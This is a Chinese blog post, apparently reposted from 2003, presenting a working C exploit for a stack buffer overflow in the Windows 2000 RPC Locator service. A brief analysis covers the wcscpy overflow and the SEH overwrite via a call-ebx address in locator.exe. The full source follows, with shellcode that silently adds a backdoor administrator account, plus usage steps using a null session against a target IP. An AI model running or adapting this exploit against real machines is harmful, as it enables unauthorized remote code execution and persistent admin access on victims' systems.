【分析】MS RPC LOCATOR Service Exploit for win2k(new version)

MS RPC LOCATOR Service Exploit for win2k(new version)


创建时间:2003-04-07
文章属性:原创
文章提交: eyas (ey4s_at_21cn.com)

/*------------------------------------------------------------------------------------
Created at:        2003-04-05
Last updated:    2003-04-07
      前几天在packetstorm下载rpcexp.c试了试,没成功,但locator服务却当掉了。于是便想看看到底怎么
回事。后来找到点资料,原来是个stack溢出,问题出在wcscpy函数。跟踪了一下,函数调用关系是
这样的:

locator!Locator::nsi_binding_lookup_begin:
    |__locator!Locator::nsi_binding_lookup_begin_name:
        |__locator!CRemoteLookupHandle::finished:
            |__locator!CBroadcastLookupHandle::initialize:
                |__locator!getBroadcastResults
                    |__locator!formQueryPacket
                        |__wcscpy     <-- buff overflow


    getBroadcastResults函数的返回地址在buff+0x514处,经测试,win2k中文、英文 sp0-3版本的
溢出点都一样。但是如果覆盖getBroadcastResults函数的返回地址,在locator!formQueryPacket
后面的代码运行会出现0xC0000005错误,这样的话,那就只好覆盖SEH了。Exception Handler地址
存放在buff+0x504处,中英文sp0-3版本都一样。Marcin Wolak写的rpcexp.c 的jmpaddr为0x0090F8F0,
我估计这个地址是他自己在测试的时候,shellcode存放的地址,他在SEH处直接跳到shellcode去了,
因为我在测试的时候,wcscpy将我们的buff copy到0x009xxxxx附近,当然, 这在不同平台上测试的
时候会有所不同,甚至相差很大。仅仅是猜测而已,因为我初学这个,看不懂他的代码:(。

    改写后的SEH显然在这里指向jmp esp是不行了,后来跟踪的时候发现, 当Exception发生后,
Windows系统正准备处理Exception的一刹那间,寄存器ebx正好指向当前存放Exception Handler地址的
地址-4,即是说假如Exception Handler地址存放在0x0098F8EC,那么EBX值就为0x0098F8E8。这样的话,
改写Exception Handler地址为call ebx的地址就可以执行我们的shellcode了。后来回过头来看莫大
的文章时,才看到在他文章里面这个已经写的比较详细了,我看资料太不认真了:(。不过莫大没有说
原理,所以到底为什么会这样,我也不知道。

    call ebx的地址在不同平台上并不通用,后来看了一下各平台上的locator.exe版本,发现sp0、sp1
中版本为都为5.0.2195.1,sp2版本为5.0.2195.2505,sp3版本为5.0.2195.3761,打过补丁后的版本
为5.0.2195.6136。locator.exe版本改动较少,于是便决定用locator.exe里面的call ebx地址,kernel32
这些dll,几乎每个hotfixs都要更新,用里面的call ebx地址就很不通用了。

    搜索的时候发现sp1、sp2中call ebx地址相同的有10个,sp1和sp3中有一个相同地址,sp2和sp3
无相同地址。但是也发现一个很好玩的地方,例如sp1中在0x0100a8eb有call ebx,那么sp3中在0x0100a8ec
也有个call ebx,嘿嘿。。
    
    经过比较,jmp addr我决定用0x0100AEE5,在sp0、sp1、sp2中,
0:004> u 0x0100AEE5
0100aee5 ffd3             call    ebx
    在sp3中,    
0:004> u 0x0100AEE5
0100aee5 40               inc     eax
0100aee6 ffd3             call    ebx

    我们发送的buff结构如下:
|rpc_head_info?(8)|NOP(0x4F8)|jmp 0xA(2)|NOP(2)|call ebx addr(4)|NOP(4)|shellcode|

    shellcode没什么特殊要求,只要没有"/x00/x00"就可以了,不然会被wcscpy截短。
    shellcode代码大部分直接来自莫大的文章,感谢他,感谢莫大、backend、ipxodi等精彩的
关于windows平台缓冲区溢出的文章。
-------------------------------------------------------------------------------------*/
#define UNICODE
#define RPC_UNICODE_SUPPORTED

#include <stdio.h>
#include <rpc.h>
#include <rpcnsi.h>

#pragma comment(lib, "rpcns4.lib")

//SEH Handler地址偏移,win2k所有版本溢出点都一样
#define    sehoffset    0x504
//call ebx addr in locator.exe process
/*
sp0 sp1 sp2
0:004> u 0x0100AEE5
0100aee5 ffd3             call    ebx
sp3    
0:004> u 0x0100AEE5
0100aee5 40               inc     eax
0100aee6 ffd3             call    ebx
*/
#define    JMPADDR "/xE5/xAE/x00/x01"
#define    JMPOVER "/xEB/x0A/x90/x90"//jmp    0xa

//hey,guy,you should modify this code slightly by yourself.
char shellcode [] =
"/x55/x8B/xEC/xEB/x64/x5A/xB8/x04"
"/x00/xF1/x77/x81/x38/x4D/x5A/x90"
"/x00/x74/x03/x48/xEB/xF5/x8B/xD8"
"/x8B/x73/x3C/x03/xF3/x8B/x76/x78"
"/x03/xF3/x8B/x7E/x20/x03/xFB/x8B"
"/x4E/x14/x33/xED/x56/x57/x51/x8B"
"/x3F/x03/xFB/x8B/xF2/x33/xC9/x83"
"/xC1/x0E/xF3/xA6/x74/x08/x59/x5F"
"/x83/xC7/x04/x45/xE2/xE7/x59/x5F"
"/x5E/x8B/xCD/x8B/x46/x24/x03/xC3"
"/xD1/xE1/x03/xC1/x33/xC9/x66/x8B"
"/x08/x8B/x46/x1C/x03/xC3/xC1/xE1"
"/x02/x03/xC1/x8B/x00/x03/xC3/xEB"
"/x02/xEB/x37/x8B/xFA/x8B/xF2/x89"
"/x06/x83/xC7/x0F/x57/x53/xFF/xD0"
"/x83/xC6/x04/x89/x06/x83/xC7/x08"
"/x57/x53/x8B/x46/xFC/xFF/xD0/x83"
"/xC6/x04/x89/x06/x33/xC0/x50/x83"
"/xC7/x06/x57/x8B/x46/xFC/xFF/xD0"
"/xB8/xFF/xFF/xFF/xFF/x50/x8B/x06"
"/xFF/xD0/xE8/x5E/xFF/xFF/xFF"
"getprocaddress""/x0"
"winexec""/x0"
"sleep""/x0"
"cmd /c net.exe user xx 1a!.9nH /add && net localgroup administrators xx /add";

DWORD WINAPI func(LPVOID lp)
{
    unsigned char    buff[4000];
    unsigned short * pszStrBinding = NULL;
    RPC_NS_HANDLE hnsHandle;
    unsigned long NsSntxType = RPC_C_NS_SYNTAX_DEFAULT;
    RPC_STATUS status;
    unsigned long i;

    //填充buff
    buff[0] = '/';
    buff[1] = 0;
    buff[2] = '.';
    buff[3] = 0;
    buff[4] = ':';
    buff[5] = 0;
    buff[6] = '/';
    buff[7] = 0;
    for (i=8;i<sehoffset-4;i++)
    {
        buff[i] = '/x90';
    }
    strcpy(&buff[i], JMPOVER);
    //jmpaddr可能包含有0
    memcpy(&buff[i+4], JMPADDR, 4);
    strcpy(&buff[i+8], "/x90/x90/x90/x90");
    memcpy(&buff[i+12], shellcode, sizeof(shellcode));

    RpcTryExcept
    {
        status = RpcNsBindingLookupBegin(NsSntxType,
                                         (unsigned short *) buff,
                                         0,
                                         NULL,
                                         0,
                                         &hnsHandle);
            printf("RpcNsBindingLookupBegin returned 0x%x/n", status);
    }
    RpcExcept(1)
    {
        printf("RPC Runtime raised exception 0x%x/n", RpcExceptionCode());
    }
    RpcEndExcept
    return 0;
}
void usage()
{
        printf( "/nxLocator -- MS RPC LOCATOR Service Exploit for win2k_en_cn_sp0-3/n"
                "Author: cooleyas@21cn.com 2003-04-07/n"
                "Based on Marcin Wolak/'s rpcexp.c/n/n"
                "usage:/n"
                "1.Set registry values in Your workstation as below:/n"
                "   HKLM//SOFTWARE//Microsoft//Rpc//NameService//NetworkAddress = targetIP/n"
                "   HKLM//SOFTWARE//Microsoft//Rpc//NameService//ServerNetworkAddress = targetIP/n"
                "2.Establish null session: net use targetIP//ipc$ /"/"/u: /"/"/n"
                "3.Run Exploit: xLocator/n"
                "  if success,target will add a user /"xx/" passwd is /"1a!.9nH/"./n");
}
void _CRTAPI1 main(int argc, char **argv)
{
    
    if(argc!=1)
    {
        usage();
        exit(0);
    }
    CreateThread(NULL, 0, func, NULL, 0, NULL);
    Sleep(4000);
    printf("Done./n");
} /*End of Main*/
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值